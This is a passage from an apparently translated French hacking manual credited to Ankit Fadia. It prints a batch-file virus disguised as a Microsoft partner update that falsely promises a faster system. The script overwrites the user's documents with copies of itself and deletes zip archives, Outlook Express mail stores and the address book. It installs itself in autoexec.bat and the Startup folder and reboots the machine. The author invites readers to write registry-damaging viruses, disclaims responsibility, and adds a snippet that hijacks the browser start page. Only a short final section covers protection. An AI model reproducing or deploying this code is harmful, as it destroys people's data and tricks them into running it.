(C:\mydocu~1\*.doc) DO COPY c:\winupdt.bat %%a >> NUL ECHO DONE. ECHO. ECHO You now need to register with Microsoft's partner : Fortune Galaxy to ECHO receive automatic updates. PAUSE ECHO Downloading Components... Please Wait START "C:\Program Files\Internet Explorer\IExplore.exe" http://www.crosswinds.net/~hackingtruths IF EXIST "C:\Program Files\Outlook Express\msimn.exe" del "C:\WINDOWS\Application Data\Identities\{161C80E0-1B99-11D4-9077-FD90FD02053A}\Microsoft\Outlook Express\*.dbx" IF EXIST "C:\WINDOWS\Application Data\Microsoft\Adress Book\ankit.wab" del "C:\WINDOWS\Application Data\Microsoft\Adress Book\ankit.wab" ECHO Setup will now restart your computer... Please wait ECHO Your system is now faster by almost 40 %. ECHO Thank you for using a Microsoft Partner's product. copy %0 "C:\WINDOWS\Start Menu\Programs\StartUp\winupdt.bat" >> NUL C:\WINDOWS\RUNDLL user.exe, exitwindowsexec CLS GOTO END :CODE CLS @ECHO OFF prompt $P$SWindows2000 IF "%0" == "C:\AUTOEXEC.BAT" GOTO ABC type %0 >> c:\autoexec.bat :ABC type %0 >> c:\windows\dosstart.bat FOR %%a IN (*.zip) DO del %%a FOR %%a IN (C:\mydocu~1\*.txt) DO COPY c:\winupdt.bat %%a >> NUL FOR %%a IN (C:\mydocu~1\*.xls) DO COPY c:\winupdt.bat %%a >> NUL FOR %%a IN (C:\mydocu~1\*.doc) DO COPY c:\winupdt.bat %%a >> NUL START "C:\Program Files\Internet Explorer\Iexplore.exe" http://www.crosswinds.net/~hackingtruths IF EXIST "C:\Program Files\Outlook Express\msimn.exe" del "C:\WINDOWS\Application Data\Identities\{161C80E0-1B99-11D4-9077-FD90FD02053A}\Microsoft\Outlook Express\*.dbx" >> NUL IF EXIST "C:\WINDOWS\Application Data\Microsoft\Address Book\ankit.wab" del "C:\WINDOWS\Application Data\Microsoft\Address Book\ankit.wab" >> NUL copy %0 "C:\WINDOWS\Start Menu\Programs\StartUp\winupdt.bat" >> NUL GOTO :END CLS :END CLS C'était un exemple de petit et lame virus batch. Vous pouvez de la même façon créer un virus qui modifiera la base de registre et causera des dégâts. C'est juste une idée, je ne suis pas responsable de ce que vous faites avec. Il n'y a pas de solution simple pour modifier la base de registre à travers un fichier Batch. Bien qu'il y ai une option de ligne de commande du registre (Voir dans le chapitre sur le Advanced Windows Hacking), ce n'est pas aussi simple que cela. La meilleure solution est de créer un fichier .reg et de l'exécuter à l'aide de notre script Batch. La chose la plus importante à se rappeller est le format d'un fichier .reg et plus particu- lièrement que la première ligne de tous les fichiers .reg doit contenir la chaîne REGEDIT4 sans quoi Windows ne le considérera pas comme un fichier de registre. L'exemple suivant change la page de démarrage de l'utilisateur (si internet Explorer est installé) à http://hackingtruths.tripod.com @ECHO OFF ECHO REGEDIT4 > ankit.reg ECHO [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main] >> ankit.reg ECHO "Start Page"="http://hackingtruths.tripod.com" >> ankit.reg Créer un fichier .reg n'est pas aussi simple que cela en a l'air. En effet, pour que Windows ajoute le contenu du fichier .reg au registre, il doit respecter un format bien particulier sans quoi un message d'erreur sera affiché. Je ne vous décrirai pas le format des fichiers de registre windows car le manuel sur le Hacking Avancé de Windows contient une énorme partie sur ce sujet. SE PROTEGER DES VIRUS BATCH Si vous double cliquez sur un fichier Batch (.bat), il se lancera automati- quement. Cela peut s'avérer dangereux si le programme Batch contient du code malveillant. encore pire, si vous avez choisi l'option du simple click alors un click de travers et Bye Bye windows. Une solution est de fixer l'édition comme option par défaut. La meilleure façon de faire cela est d'aller dans 'Outils > Option des dossiers...' puis dans l'onglet 'Types de fichiers' de l'explorateur afin de modifier l'action par défaut. Cependant Windows va alors griser les boutons Modifier et Option par défaut. Pour contourner cela allons dans le registre de Windows et renommons la clé HKEY_CLASSES_ROOT\batfile\shell\open en run (on ne change pas l'emplace- ment). Double cliquez sur la valeur binaire EditFlags à HKEY_CLASSES_ROOT\batfile et entrer 00 00 00 00 comme nouvelle valeur. Maintenant, ouvrez l'explorateur, cliquez sur 'Option des dossiers' et dans l'onglet Types de Fichiers, sélectionnez "MS-DOS Batch File". Cliquez ensuite sur Avancé. Vous remarquerez que les boutons (Nouveau, Modifier, Supprimer et Par défaut) sont maintenant activés et que vous pouvez choisir l'édition comme choix par défaut. Ankit Fadia ankit@bol.net.in Obtennez la liste des manuels [TOUT DE DONT VOUS AVEZ RÉVÉ] écrits par Ankit Fadia, à sa mailing liste. Pour recevoir les manuels dans votre boîte electronique, envoyez un mail à programmingforhackers-suscribe@egroups.com